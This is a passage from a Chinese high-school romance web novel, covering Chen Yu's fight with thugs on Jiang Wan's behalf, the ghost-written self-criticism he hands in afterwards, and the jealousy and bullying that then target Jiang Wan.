其实这些他也注意到了,而且比她更早,只是不想让她担心才一直没告诉她。 “那现在怎么办?” 陈屿以为她被吓到了:“别害怕, 一切有我呢。” “我就是担心你呢, 他们那么多人, 而且看起来都很不好惹的样子。” 陈屿眯眼打量着她, 像是发现了什么新大陆:“所以,你是在担心我?” “是啊, 我当然是在担心你啊, ”姜挽觉得他好奇怪,“有什么问题吗?” “没, 没问题, ”陈屿侧眸,避免和她对视, 也避免她看到自己脸上的欣喜, 几秒后,他收拾好情绪,故意表现得严肃, “那你觉得,我应该怎么办?” 姜挽皱着眉,当真开始认真思考:“要不我们告诉老师吧?” “人家毕竟还没怎么样呢,我怎么和老韩说?” “那找个机会和他们谈谈?” “你看他们像是能谈的人吗?” 姜挽叹口气,好像还真不是,她没辙了:“那你说吧,我们该怎么办?” 这次,陈屿没答。对付这种人,就得用特别的手段,但这些,她都不需要知道。 陈屿从书桌里拿出一张数学卷子,是他妈妈今早刚拿给他的,说是托关系从哪个名师那里弄来的,专门针对高考设计的。试卷陈屿看过了,题型确实不错。 “这不是你该考虑的问题,”他把试卷放在姜挽桌上,“你好好做你的试卷,把数学成绩提上来就行。” “可是……” “没什么可是的,”陈屿故意岔开话题,“今天的几何题会比之前的都难,一会儿你不会写,别又哭哭啼啼地来找我帮忙。” “我哪有哭哭啼啼?”姜挽立马反驳。 “好吧,那我记错了,是哼哼唧唧。” “我也没有哼哼唧唧!” 见她恼了,陈屿终于停下来,作势举起双手表示投降:“好,你没有,是我记错了,快写吧。” 其他的事,他自会处理。 某天放学,因为讨论试卷的原因,陈屿和姜挽比其他人走得晚了点,送她到车站,这是他一直以来的习惯。 两人正在路上走,老远,陈屿便看见了那几个熟悉的身影。姜挽在他后面,正低头整理书包,所以还没看见。 趁她没注意到,陈屿赶紧转身,挡住她的视线:“我突然想起来有张试卷落在教室了,你去帮我拿一下吧。” “好,”姜挽一点没怀疑,“哪张?是放学前英语老师发的那张吗?” “对,就是这张。” “那我去拿,你在这等我一会儿,我马上就回来。” “不用着急,你慢慢拿就行。” 等到姜挽的身影消失在拐角,陈屿一秒冷下脸,不紧不慢地朝着那几个人走过去。 对方一见是他,迅速开始招呼其他人,很快,人群里走出来一个人影,高个子,长脸,是上次的那个黄毛。 看见陈屿,他先朝地上“啐”了一口,继而晃着那两只打着石膏的手臂,张牙舞爪地骂:“你他妈还敢来?今天我非弄死你!” 陈屿没搭理他,单肩背着书包,双手插兜,松松垮垮地站着,算是应下这战书了。 见他这样,那些人很不服气,一个小个子跳出来,因为身高不够,他只能尽力伸长脖子:“你小子真够狂的,也不打听打听我们波哥是谁!上次在KTV是你跑得快,这次你可就没那么幸运了。” “要来就来,说太多没意思。”陈屿霸气一歪头,示意他们跟他走,“走吧,换个地方。” 那群人从没见过他这种,因为摸不清底细,都有点怂,几双眼睛同时看向黄毛,等待他发话。 黄毛是见识过陈屿厉害的,可上次只有他一个,这次他们这么多人,他不信还能让这小子占了便宜。 “走!跟他去!他一个人,我们这么多人,我他妈还怕他不成?今天非干死他!” 身后不时传来骂骂咧咧的声音,陈屿都没理,直到找了处安静的巷子,他才停下脚步。 他一转身,身后那群人立即做出备战状态,有把双拳对在一起的,有破口大骂的,甚至还有去腰间摸工具的。 陈屿横扫他们一眼,随意把书包丢在地上,眉压着眼,身上顿时一股很浓的杀气:“你们是一个个来,还是一起上?” 那群人互相看了看,随即便一窝蜂涌了上来。 陈屿之前练过跆拳道,知道打架的关键就是在快、准、狠。 看着一起冲过来的四个人,他调整姿势,迅速做出判断。在最前面那个人即将靠近他时,陈屿立马抬起脚,狠狠踹向他的心口。这一脚他用了全力,那人当场便倒地不起了。 其他三个见此都有点害怕,瑟缩着不敢再往前了。黄毛急得大喊:“都他妈给我上,谁把他撂倒了,我直接给一万块!” 话音落,那三个人再没犹豫,喊叫着扑了上来。陈屿瞅准机会,按住其中一个,掐住他的脖子,拳头如雨点般落了下去。很快是第二个,第三个…… 可对方毕竟人多,他双拳难敌四手,在缠斗的过程中,也受了伤。 直到把最后一个打倒在地,他准备起身的时候,“砰”的一声,后背传来一阵闷痛,是黄毛拿了棍子砸在他身上。 陈屿动了动脖子,从地上起身,五官因为肾上腺素的飙升变得更加锐利,他猛地伸手,掐住黄毛的脖子,一把将他掼倒在地:“找死。” 手劲儿不断增大,增大,再增大,直到黄毛一张脸涨得通红,开始不停拍打他的胳膊,陈屿才松开一些:“离她远点,再不要出现在她面前,能做到吗?” “能……能……”黄毛不停喘着粗气,眼神空洞,只剩深深的恐惧。 “重复一遍。”陈屿冰冷的声音再次响起。 黄毛吓得一哆嗦:“离她……远点,再不要……出现在她面前。” “很好。”陈屿松开他,掏出纸巾擦了擦手,准备离开。 “陈屿!” 突然,身后传来一声叫喊,还有逐渐靠近的脚步声,陈屿不用回头都知道是谁。他扶了下额,暗想糟糕,本来都已经故意避开她了,没想到还是被她找了过来。 没等姜挽过来,陈屿主动走了过去,将她拦在这一片混乱之外:“怎么找到这里来了?” 姜挽刚才一路过来跑得太快,现在耳边全是自己“咚咚”的心跳和呼啸的风声,她有些喘,更多的是急:“我拿完试卷回来你就不见了,找了好久也没找到你,还是问了别人,才知道你朝这边来了。” 陈屿从她手中接过书包,轻轻拍了下她的后脑勺:“你胆子够大的,这种地方都敢找过来,以后不许了。” “知道你在我才敢过来的。”姜挽几乎是脱口而出,越过陈屿的肩膀,她看到地上躺着的几个人,眼神注意到那个黄头发的,几乎是瞬间,她一下子便明白了过来,一打五…… 她要过去看,陈屿没让。 “你有没有受伤?” 陈屿牵着她的手腕,打算先离开这个是非之地:“你现在才想起来问这个,是不是有点太晚了?” “不是,我一开始……”姜挽其实想说她本来一开始就想问的,只不过被他抢了先,问了其他的问题。可抬头间,忽然瞥见他脸颊的伤痕,这些瞬间被抛之脑后,“你受伤了?!” 陈屿有点躲着她:“没事,一点小伤,不碍事。” “怎么是小伤呢,都见血了!”姜挽不依他,硬是拉着他走出小巷,在路边的长凳上坐下。 借着手机灯光,她去看,除了他的脸颊,还有额角和手臂,最严重的是拳峰,破皮带着血,一排细小的伤口。 而这些,都是因为她。 姜挽垂下眼,眼眶很酸:“还有其他地方吗?” 陈屿对她的声音很敏感,几乎一瞬间就听出来了,叹了口气:“我真没事。” 说着,他要去看她的脸,被姜挽躲开了,只追问:“还有其他地方有伤口吗?” 她很坚持,陈屿没办法,只得答:“没了。” 可姜挽似乎不信,和他对视了几秒,突然伸手要去脱他的外套。 陈屿一把抓住她的手腕,不是拒绝,只是提醒:“这可是在外面,你想好了?” 被他这么一说,姜挽才意识到不合适,她脸颊当即便红了,只是在夜色下看不清:“那你自己检查。” 趁她不好意思,陈屿放肆欣赏她的情态,他潦草地检查了一圈:“其他地方没事,就你看到的这些。” “真的?” “真的,我还能骗你不成。” 姜挽点点头,情绪终于缓和了点:“那你在这等一会儿,我去给你买药。”跑开两步,她又重新折返回来,像是不放心,郑重交代,“你就在这里等我,哪儿都不要去。” 陈屿忍不住笑了,指了指旁边她和自己的书包:“放心吧,我跑不了。” 这个点的药店没什么人,姜挽买完药再回来,也不过才用了十几分钟而已。 拧开碘伏瓶盖,立时有一股类似于铁锈的味道传来,她倒了一小部分在瓶盖里,又拿棉签仔细蘸湿,这才递给陈屿:“先擦一下,消消毒。” 陈屿看着她,没伸手接:“擦不了,我看不见。” 姜挽看了看他脸上和额角的伤口,确实如此,这里也没有镜子:“那你先擦手上的伤口。” “这个也擦不了,手疼。” 言下之意,是让她帮忙擦。 姜挽没马上回答,她不是不愿意,只是觉得这个行为有些过于亲密了。正犹豫,旁边的陈屿突然“诶呦”叫了一声,皱着眉,像是很疼的样子。 “怎么了?是伤口疼了吗?” “是啊,你赶快帮我消毒吧。” “哦,好。”姜挽没再犹豫,朝他靠近几分,离近了,才发现他比她高太多,没办法看清额角的伤口,“你低一点。” 陈屿很配合,也正是因为这个动作,两人的距离一下离得好近,晚风吹来,她的长发有几缕飘到他胳膊上,姜挽有些尴尬:“算了,我还是站起来给你擦吧。” “都行。”陈屿还是一如既往地配合,只不过在她看不见的地方,悄悄用指尖碰了碰刚才被她头发飘过的地方。 陈屿的伤口虽然多,好在都不是很深,简单的进行了擦拭消毒,稍严重点,破皮流血的,姜挽又仔细帮他贴好创可贴。 她做这些的时候很认真,全程眉头紧蹙,唇角抿着,像在完成一项复杂精密的手术。 陈屿看着她,不自觉笑了声。 姜挽还以为他被疼傻了:“是很疼吗?” “还……”还好已经到了嘴边,陈屿却硬生生咽了回去,“嗯,很疼。” “那我再轻一点。” “也慢一点。” “好。” 陈屿看着她,周围的天完全黑下来了,有些东西已经看不大清了。可还有另外一些东西,是不需要眼睛也能看清的。 陈屿闭上眼,清晰感受着自己此刻心脏的跳动,是为她,是为眼前这个人。 “好了。” 陈屿睁开眼:“这么快?” “你都已经疼得闭上眼了,我能不快点吗。” 陈屿:“……” “对了,这些伤口你回去打算怎么和你父母解释呢?”姜挽忧心忡忡地看着他,“毕竟这么明显,你一回家他们肯定就看到了。” “没事,”,陈屿倒是不怎么在意,“他们忙着呢,没功夫管我。” 他父母,一个从政,一个从商,两个都是事业狂,平时忙的一起吃顿饭都是奢侈,哪会注意到他。 他们家的事,姜挽也不好多问,于是边收拾东西,边开口:“时间不早了,我们回去吧。” 陈屿从凳子上起身:“我送你。” “不用了,我……” “只送到公交站。” “好吧。” 两人正准备走,路边的草丛里突然传来一阵异动,窸窸窣窣的,似乎有什么东西在动。 “什么东西?”姜挽要去看,被陈屿拦下了,他把她挡在身后,随意从地上捡了一根树枝,边拨弄着,边去看。 这个季节的草已经枯黄了,更多的是枯木枝,陈屿拿树枝试探着,找到那东西,拨开堆在它身上的树叶,月光照下来,最先映入眼帘的是一双湖水蓝的眼睛,接着才是它瘦弱的身体,原来是一只白色的小猫。 “是一只小猫。”陈屿对身后的姜挽开口。 “真的吗?”姜挽忙从他身后站出来,蹲下去,她要用手去碰,被陈屿拦下了,递给她树枝,姜挽看了看,觉得太粗糙,她没要,又从地上捡了一根更细更平滑的,轻轻碰了下小猫的身子,“还真是哎!” 她很兴奋,声音里有股质朴的天真:“不过它怎么不动呀,也不叫。” 陈屿也不知道,说实话,他对这些小动物不怎么感冒:“可能是饿了吧。” “我包里有吃的。”姜挽立马从地上起来,跑着去翻自己的包。 陈屿还是第一次见她这样,以前的她,对什么都淡淡的,不怎么表达自己的情绪,也不怎么投注自己的感情,如此情绪外露,好像还是第一次。 “喜欢小猫?” “喜欢啊,小猫多可爱啊。”姜挽已经从包里翻出来了一根火腿肠,撕开递给那只小猫,见它只是嗅了嗅,不敢吃,她便把东西放下,自己蹲远了点。 陈屿在她旁边蹲下,两人一起观察这只小猫。它先是拿爪子探了探,见没危险,又试探着嗅了嗅,最终才敢将火腿肠抓过去吃。可因为虚弱,吃起东西来也很慢,小口小口咬着。 火腿肠不大,没一会儿便吃完了。姜挽便又去书包里翻,几乎把书包翻了个底朝天才又发现了一个面包,她撕开,放在刚才的位置:“最后一个,吃完就没有了。” 路灯下,她和陈屿并排蹲着,仔细看它进食。 “它应该没受伤,只是饿了。”姜挽看得仔细,观察好久才得出这个结论。 “嗯,”陈屿眼睛看着小猫,脑袋里却想的是她,“你家里养猫吗?” “以前养过一只,但离开江城的时候送人了,现在没有。” 提到过去,她语调里有一股不舍,陈屿能听出来,他其实很想问,为什么来北城的时候没把小猫带过来,又为什么现在没养了。可他感觉她应该是不怎么想聊这个话题的,所以还是忍住了。 其实,他的感觉是对的,当初姜挽离开江城时很匆忙,很多东西都被沈曼勒令不准带,更别提一只猫了。来了这边,在舅舅家,更是得时刻注意,她想养猫,就更不可能了。 小猫吃了东西,有力气了,钻进树枝里,一溜烟就不见了。 它跑得很快,姜挽甚至没反应过来,呆呆看着它的背影虽有些不舍,可她还是起身:“它走了,我们也走吧。” 陈屿点点头,拿起两人的书包,跟在她后面离开了。 第23章 检讨 打架的事情, 陈屿的父母虽然不知道,可学校却知道了。据说是有经过的学生无意中看见了,第二天便向学校保卫处做了报告。 不管在什么地方,八卦总是传得最快的, 更何况还是有关陈屿这个学校风云人物的八卦。 他可是成绩霸榜年级第一, 颜值位列校草首位, 常年处于女生话题中心的人物。大家都在猜, 到底是什么样的原因, 才能让这位天之骄子自降身段, 去和那几个不入流的混混打架。 “会不会是陈屿得罪了他们,他们蓄意报复?” “不太像,你看陈屿平时那性格, 那品味, 像是会和那些人有交集的吗?” “那难道是因为那些人看陈屿不爽, 故意找茬?” “也不应该吧, 陈屿虽然平时低调,可他父母是做什么的, 有什么背景, 大家都还是很清楚的,一般不会有人去主动招惹他。” “那就只有一个原因了, 情感纠纷, 一定是因为女生……” “这更不可能,”这个假设还没说完, 就被其他女生否定了, “陈屿那样的性格,怎么可能为了一个女生去做这些,再说了, 学校里也没有哪个女生值得他这么做。” “就是,”有人跟着附和,“不过我听说他可是一对五,而且最后还打赢了,那场面得多帅呀,想想就兴奋!” …… 办公室里,陈屿靠窗站着,韩华坐在他对面,斑斑驳驳的树影落在他脸上,显得脸色更沉了:“我了解你,你虽然性格有时候有些懒散,可一向有分寸,说吧,这次到底为什么和那群混混打架?” “老韩,”陈屿还是那副漫不经心的站姿,耸耸肩,“不是说过了吗,没有原因,就是单纯看他们不爽。” “你少跟我吊儿郎当的,端正点!”韩华是真生气了,平常他的那些事情,他都是睁一只眼闭一只眼,可这次竟然闹到了校领导那里,他想压都压不下来了。 他扶了把眼睛,与其说是生气,不如说是担心,“你知不知道这次的事情是什么性质,打架,斗殴,严重的话是会被记大过的!你知不知道为了你这件事,我费了多大的心力!” 听到这些,陈屿端正了站姿,正色道:“老韩,对不起啊。”不为这件事,只为韩华对他的这份心。 “真觉得对不起,你就把前因后果给我说清楚!” “抱歉。”陈屿还是那句话。 韩华有点急了:“都这个时候了,到底还有什么不能说的,你不把前因后果说清楚了,我怎么和上面汇报?” “如实汇报就行。” 韩华被他气得哆嗦,打了个抖,短胡髭随之颤动:“你信不信,我把这事告诉你爸妈!” “您就是把他俩都叫来,我也还是这句话。” 生气,愤怒,不解,无可奈何。 韩华了解他的个性,一挥袖子:“我是管不了你了,你就等着挨处罚吧。” 陈屿很淡定:“行,您想怎么罚就怎么罚,我都认。” “你……”腾的一下,韩华站了起来,“你给我写检讨,三千字的检讨,明天就交上来!” “谢谢您!” 回到教室,姜挽正“翘首以盼”等着他:“班主任叫你过去是因为昨天的事吗?” “是。”陈屿点点头,没瞒她。 “那班主任怎么说?” “没怎么说,就狠狠把我骂了一顿,让我写检讨。” “怎么会这样?”姜挽很焦灼,“不行,我得去找班主任,把这件事和他解释清楚,这件事不是你的错。” 陈屿明白她的意思,正是因为明白,才不会同意她这么做:“打架的是我,被人看见举报的也是我,怎么不算我的错了?” 姜挽直直地看着他:“可你做这些,都是因为我。” 陈屿心想,原来你知道啊,可开口却故意不承认:“谁说的?” 姜挽很坚持:“就是。” “就算是吧,”陈屿忍不住笑了,一股子心甘情愿的宠劲儿,“可现在事情已经这样了,你如果再掺合进来,不仅对整件事情没有任何帮助,还会额外再增加它的复杂性。到时候学校,老师,还有那些谣言,乱七八糟的一大堆,你怎么受得了。” “那就让我默默看着你受罚吗,我做不到。” 一瞬间,心尖的地方像是被什么东西烫着了,又温又热。像是小火烤着,又仿佛被温水煮着,点点滴滴,一丝一缕都是绵延的情谊。 陈屿拿起她桌上的黑色中性笔,胡乱转着:“你真想帮我?” “嗯,真想。” “那这样,”陈屿把笔放在桌上,朝她靠近几分,“那三千字的检讨,你帮我写了吧。” “我帮你写?”姜挽有点愣。 “是啊,我作文不好,写不来这些。而且,你刚才不是说要帮我吗,这多好的一个机会啊。怎么,又不愿意了?” “没有,我不是不愿意,”姜挽是真的在认真思考,“可这样的话,写出来就是我的字,老师不会看出来吗?” “有道理,”陈屿也很认真,“那这样,你先写,写了我再抄一遍。” 姜挽:“……也行。” 两人正说着,刚才还不见人影的孟云程突然从教室门口冲了进来,直扑陈屿,没有询问,也没有安慰,而是直接埋怨:“我靠,你也太不够意思了吧!打架这种事情竟然不叫我,你还有没有把我当兄弟?” 他这话一出来,姜挽都惊呆了,这种事情,也能吃醋? 而旁边的陈屿似乎早已习惯了他这种脑回路,很是淡定:“事发突然,没来得及。” 孟云程看着他脸上的伤口,也没多和他计较,只是问:“后面还需要处理吗?需要的话,你一句话,我立马找人来给你摆平。” “不用,他们应该不敢再来了。” 孟云程点点头:“对了,还没问你是因为什么和他们产生冲突的。那些人,我们一向是没什么接触的。” 这个问题,陈屿已经不是第一次被问了,即便此刻对方是孟云程,可因为涉及到姜挽,他还是一样的回答:“没什么原因,单纯就看他们不爽罢了。” 孟云程当然不信:“我了解你,你少敷衍我。” “是吗?”陈屿挑眉,“你能这么说,就代表你还是不够了解我。” “你他妈什么毛病!”孟云程觉得他在打哑迷,骂了一句,“我真是越来越看不懂你了。” 陈屿也还毫不示弱:“以你的智商,要是能看懂才奇怪了。” “你!”上课铃声响,孟云程骂骂咧咧地还是转了过去。 待他转过去,姜挽才开口:“连他也不能说吗?” 陈屿扫她一眼:“他那个大嘴巴,知道的越少越好。” “明白了。”姜挽觉得在这些事情上,他总是考虑得很周到。 谁知下一秒,陈屿便把矛头对准了她:“你怎么还有心思关心别人,赶紧想想检讨怎么写吧。” “马上,我现在就来写。” 这份检讨,姜挽其实当天就写完了,只是陈屿在抄写的过程中拖拖拉拉的,他一直找借口懒得抄,以至于最后交给韩华的时候已经是三天之后了。 韩华本来也就是随口一说,没想到他真会写,这会儿拿到他的报告也有点吃惊。仔细看了看,觉得这遣词造句都不错,感情真挚,态度诚恳,就更欣慰了。 “看来,让姜挽给你补习作文,还是有点用的,你这水平,现在都快赶上她了。” 陈屿低着头,心想,可不得赶上她吗,这就是她写的。 “对了,还有姜挽的数学,她的成绩我最近也关注了,也有很大的进步,”在他们这些成绩好的学生面前,韩华总是两三句便不自觉绕到学习上,“这次的事情我能帮你担下来,下次就不一定了。你以后最好老实点,把心思都给我放在学习上,争取下次月考争点气,不然我这张老脸是没法在校领导面前混了。” “老韩,您放心吧,”陈屿又恢复了之前那副懒散的模样,“我一定努力,不会让你在校领导面前丢人的。” “去,去,赶紧回去学习去。” “好嘞。” 晚上放学的时候,陈屿照例送姜挽到公交站,姜挽也知道他今天把检讨交给班主任的事儿:“老师没怀疑吧?” “没,不仅没怀疑,还夸你教的好,我作文有了很大的进步。” 姜挽脸皮可没他那么厚,听到这些,尴尬得一时竟不知该如何接这话。 “对了,他还夸你数学成绩提高了,”陈屿顺带提了一嘴,“所以咱俩这补习还是挺有用的,看来以后还得坚持下去。” “嗯。”对这个,姜挽倒是没意见。 两人很快来到车站,趁她上车前,陈屿把一个礼品袋从书包里拿出来递给她。 “什么?” “你打开就知道了。” 车还没来,姜挽便站在路边拆,刚打开袋子,一眼看见那个熟悉的盒子,她便明白了,是上次她给尤伽送的那款口红。 “这是?” “送给你的。” “为什么?” “我说过,这个颜色你也很合适。” “我是问,你为什么突然送给我?” 因为喜欢你,因为想看你开心,这些理由,都是陈屿心底最真实的想法,可他都不能说,也不敢,只能开口:“因为你帮我写检讨呗。” “其实不用的。”说不上来是松了一口气,还是有些失望,姜挽的声音很轻,在这微凉的夜里,似乎都要被风声掩盖住了。 车来了,陈屿故意忽略掉她这句话:“快上车吧,到家了说一声。” “嗯,好。” 第24章 撞见 自从上次的打架事件后, 姜挽她们再没在校门口看见过那群混混的身影,一定程度上,确实是清净了许多。 可另一方面,陈屿却因为在这次事件中的“五对一”光荣战绩, 在学校女生中更受欢迎了。送情书的比以前多了, 来看他的女生也增加了, 每到课间, 他们班的走廊就会被围得水泄不通。 更有甚者, 碰不上他, 就从他的身边人入手。孟云程就不用提了,整天手里就没空过,去一趟厕所, 都能帮陈屿收几封情书回来。 离谱的是姜挽和尤伽, 竟然也能在路上被人拦下来, 要求帮忙给陈屿送情书。 对面是一个圆脸戴眼镜的小个姑娘, 短头发,穿着再普通不过的校服, 说话声音也文文弱弱的。乍看过去, 是一个性格内向的听话好学生,可没想到, 也能做出给陈屿写情书的这种行为。 据她自己说, 她来自高二三班,也是学理科的。当初一进学校就暗恋陈屿, 就连“学理科”这个决定, 也是受他影响才选的,目的就是为了能离他更近一点。 单纯,真挚, 又热烈,和其他所有怀有少女心事的女孩一样。 一瞬间,姜挽有些动容,想到自己,莫名觉得有点能理解她。姜挽不是一个爱管闲事的性格,可这会儿却准备帮忙:“要不然……” 她话说一半,突然被尤伽拦下:“学妹,不好意思,情书这种私人的东西,你还是亲自交给陈屿比较好。而且,我们这会儿还有其他的事要处理,应该没时间帮忙送这个。” 说罢,她朝姜挽眨了眨眼睛:“是吧,呦呦,我们还有东西要买,赶紧走吧。” 她这样说,姜挽当然明白了,抱歉地朝那个女生点了点头,还是跟着尤伽走了。 走远了,尤伽才开口:“我不是不想帮她送,只是陈屿的性格你也知道,送了他也不会看的。孟云程每天给他带回来多少封啊,他哪次看过,所以送了也白搭,单纯浪费时间。” “再说了,如果我们今天帮她送了,开了这个口子,那以后不就会有更多人来我们了。”尤伽有点烦,“我可不想成天做这些,帮别人跑腿。我自己的事还没着落呢,哪有心思关心别人。” 姜挽觉得她说的有道理,这会儿也觉得自己刚才是有些考虑不周了:“你说得对,如果不能坚持的话,确实一开始就不应该同意。” 她这么理性地和她讨论这个话题,尤伽倒是有些不明白了:“呦呦,每天见着这么多人给陈屿送情书,你不会觉得不舒服吗?” 姜挽不知道她是怎么跳到这个话题的,还以为她问的是会不会对她有影响这事儿:“还行,这是她们的自由,除了有时候人太多被堵住外,其他都还好。” “你是真不明白呀?”尤伽比她着急,“要是每天这么多女生在我眼皮子底下给裴思送情书,我都要被气死了。” 姜挽看她一眼,这又是哪儿跟哪儿? 见她这样,尤伽也不打算和她继续打哑迷了,她贴近姜挽,放低声音,像要说一个秘密:“其实,我觉得陈屿喜欢你。” “你别乱说。”姜挽反应很大,脸颊到耳根的位置,迅速红成一片。 “真的,我不骗你,认识他这么长时间,我还从没见他对哪个女生这么上心过,又是帮你补习,又是送你回家的,这也太贴心了。” “补习的事儿,是班主任安排的。” “是班主任安排的没错,可你想想,以陈屿那性格,要是他不愿意的话,别说是班主任了,就算是校长安排,他不想做的话也不会做呀。” 是这样吗?姜挽愣住了,她以前从没仔细思考过这件事情。 尤伽眼尖地发现她脸红了:“哎呀,呦呦,你都脸红了,该不会,你对陈屿……?” 这里来来往往都是人,姜挽忙打断她:“哎呀,你别说了,越说越没谱了。” 尤伽乖乖做了一个“封条贴嘴”的动作,可没过多久,还是忍不住开口:“其实陈屿这人挺好的,要不你考虑考虑?要是你们在一起了,我肯定是你们的头号CP粉。” …… 回到教室的时候,陈屿也在,他看见姜挽脸上的红晕,很疑惑:“怎么了?” “没事,”姜挽有点敷衍,“有点热。” 陈屿朝窗外看一眼,今天明明是阴天。 她不说,陈屿便去问尤伽:“是不是你们回来的路上发生了什么?” 尤伽本来也不想说的,可突然间,她意识到,这或许是个机会:“是啊,我们回来的路上碰到……” “尤伽!”姜挽担心她会说出一些不合时宜的话,连忙打断了她。 尤伽却朝她投过去一眼,安慰她别担心,继续开口道:“我们刚才回来的路上碰到暗恋你的学妹了,她让我和姜挽帮她送情书。” 一听是这个原因,陈屿的表情立马有些不自然,孟云程每天给他拿回来的那些已经够他烦的了,现在竟然还直接跑到了姜挽面前。 他刚想交代以后不要随便帮他收这些,尤伽却再次开口:“不过我们拒绝了。” “你们拒绝了?”陈屿有点不敢相信,甚至于说是带着点欣喜,“为什么?不是,我的意思是你们怎么拒绝的?” “直说啊,这种私人的东西,我们还是觉得她自己送比较好。对了,我们还说你已经有喜欢的人了,”尤伽边说,边观察陈屿的表情,“没有提前和你打招呼就直接这样说,不会对你造成什么困扰吧?” “不会,”陈屿很果决,“况且你说得对,我是有喜欢的人了。” 这话他虽是回答尤伽的问题,可眼神和注意力却全程都在姜挽身上。 “是吗?是谁?”尤伽很兴奋,感觉马上就要接近事实真相了。 可陈屿却突然不回答了。现在的时机和地点都不对,他不会在这种情况下说太多。 尤伽半天没等到他的回答,也就没再问,不过有些时候沉默就是最好的回答。她朝姜挽眨了眨眼睛,笑着转回了座位。 尤伽一转回去,陈屿便立马对着姜挽开口:“刚才我说的话,你都听到了吧?” 姜挽有点躲着他,垂眸开始翻书:“嗯。” 像是怕她没听到,又担心她不相信,陈屿又重复了一遍:“我说我有喜欢的人,是真的。” “嗯。”姜挽还是没和他对视,如果她此刻扭头看一眼的话,就会发现陈屿眼中那闪耀如星河般的东西。 少年的爱意,像打碎了满天的星子,诚挚地冒着热气。 她不大想聊这个话题,陈屿也看出来了,于是没再继续,反正他都可以等。侧过头,只交代:“以后再遇上这样的事,你不用管,直接离开就行。” “还有,我以后会尽量减少这种事情的发生。” 陈屿说的信誓旦旦,可这个世界有时就是这么巧合,在他说完这句话的隔天,便再次在路上被人拦了下来,而且,还当场被姜挽撞见了。 教学楼下,宣传栏旁,陈屿被一个高个女生拦住了,对方面带羞怯,欲语还休,红着脸将一张粉红色信笺递给他。 陈屿当然不会接,可秉着不伤害别人自尊的原则,他还是耐着性子和她交涉了两句。哪知对方却是一个得寸进尺的主儿,看他这样,便非要他收下。 陈屿哪有这么好的耐心,正打算拒绝,不远处突然走过来两道熟悉的身影,是姜挽和尤伽。 一瞬间,什么尊重,周全,还有考虑,全被他抛到脑后去了,看见姜挽走过来,他便什么都顾不上了。决绝,甚至是不耐烦地,他当即便打断了对面的人,快速越过人群径直朝姜挽走去。 走近了,一时却又不知该说些什么,尤伽有点看他笑话的意思:“你这异性缘可真是好呀,刚才又有人和你表白呢?” 陈屿很郁闷,可尤伽说的也是实话,他没办法反驳。 就这么一路跟着她们回了教室,陈屿也没找到单独和姜挽说话的机会,直到他们二人在座位上坐下。 “其实刚才不是你看到的那样,你别误会,她的东西我没收。”陈屿上来先解释,他真是一点也不想姜挽误会。前脚刚和她说了以后会减少这种事情的发生,后脚就在人家眼前上演,这样显得他实在是太没信誉了。 姜挽很安静,默默听他说完,继而从书桌里拿出试卷:“我没误会,而且,你其实没必要和我解释的。” 她的语气虽然平淡,表情也一如往常,可是姜挽自己知道,她这会儿心里其实是有点闷的。谈不上不高兴,就是像一个突然泄了气的皮球,做什么都没心情。 究其原因,她不得不承认,确实是被刚才看到的场面影响了。 之前她看到的多是情书,像这样真切看到陈屿和另外一个女生站在一起,今天还是第一次。而且那个女生她也认识,是舞蹈班的苏青眠,不仅长得漂亮,家世也很好。 所谓,有了比较,难免就会有落差。 “怎么没必要?”陈屿有点急,一时间,他也说不清是想她生气,还是不想她生气,“我为什么和你解释,你不清楚吗?” 清楚吗?会是她想的那样吗? 姜挽答不上来,也不敢问。因为她清楚地知道她和陈屿之间有一道鸿沟,所以只能选择逃避。 话出口,陈屿也觉得自己刚才有些太急了,叹一口气:“算了,你不想说就不说吧。” — — 另一边,自从刚才看到陈屿跟着姜挽走后,苏青眠就气得直哆嗦。不收她的情书就算了,竟然还当着她的面和其他女的一起走了,这口气,她咽不下去,这个人,她也丢不起! 苏青眠本就性格骄横,在陈屿这里吃了瘪,便想方设法地要把气撒给其他人:“刚才那个女的,你们认识吗?” 她旁边还站着其他三个女生,都是平日里跟着她的人,对她的脾气也都了如指掌,因此最清楚她为什么会生气。 其中一个瘦高个先开口:“她叫姜挽,是陈屿的同桌,听说成绩不错,之前好像还做过分享来着。”说到这,她四周看了看,见没什么人,才继续道,“而且,别看她看起来挺清纯的,其实可有心机了,整天就知道缠着陈屿。我听说,昨天有人让她帮忙送情书还被拒绝了呢,现在来看,她就是故意的,想一个人霸着陈屿罢了。” 她刚说完,立马有人跟着附和:“是啊,我刚才就看她不顺眼,也不看看自己几斤几两,就想和陈屿搭上关系,真是异想天开。” 苏青眠在一旁越听越生气,一回头瞥见光荣榜上贴着的陈屿和姜挽的照片,差点发狂。 他们因为是理科的年级第一和第二,两人的照片离得很近,又都是红底,乍一眼看过去,竟然有点情侣头像的意思。 苏青眠发起脾气来,也是什么都不管,指着姜挽的照片就要撕,最后还是被旁边人拦了下来。 她恨恨地离开,嘴里还不忘念叨:“想和我抢,也得看看你有没有这个资本!” 第25章 “开房” 这两天, 姜挽经常会收到一些莫名其妙的短信。 固定的两三个电话号码,时间基本都是在晚上,而且短信的内容也大差不差,都是一些辱骂她, 或者警告她老实点的内容。 姜挽很纳闷, 印象中, 她好像并没有在学校里得罪过什么人。她以为只是一些恶作剧, 于是随手删掉短信, 也就没放在心上。 殊不知, 有人就是要针对她。 今天是她和陈屿值日的日子,清扫完后,姜挽打算先去一趟卫生间再回家。这个点, 按理说学生都已经放学了, 可姜挽接连推了两扇门都是关着的, 只得选了其他的。 正奇怪, 那两扇门内突然传来动静,像是有水波在晃动, 风一吹, 声音听得更明显了。 姜挽觉得奇怪,也有点怕, 正打算推门出去, 那动静突然由远及近,在她面前停下了。隔着一扇门, 猝不及防地, 突然一桶水朝她兜头浇了下来。 水很凉,姜挽又没有任何思想准备,忍不住尖叫出声。与此同时, 门外传来一阵大笑,还有拍手叫好的声音。 “谁在外面?”姜挽忍住剧烈的心跳和上下打磕的牙齿,开口问道,可回答她的只有风声。 等她终于从刺骨的凉意中缓过来几分,哆嗦着拧开门把手时,外面的人早跑没影了。 头发粘在脸上,还有从里到外已经完全湿透的衣服和裤子,难受极了。姜挽没办法出去,只得先待在这里想办法。 也不知过了多久,外面突然传来陈屿的声音:“姜挽,你在里面吗?” 这会儿突然听到他的声音,姜挽一瞬间竟有些鼻酸,也分不清是欣喜更多,还是委屈更多:“我在。” 听到她的回答,陈屿松了一口气,刚才在教室里等那么久她都没回来,他担心坏了,就怕她遇上点什么。 “赶紧出来吧,时间不早了,我送你回家。” 姜挽看着自己湿透的全身:“我现在……出不去。” “出不去?什么意思?”陈屿有点没明白。 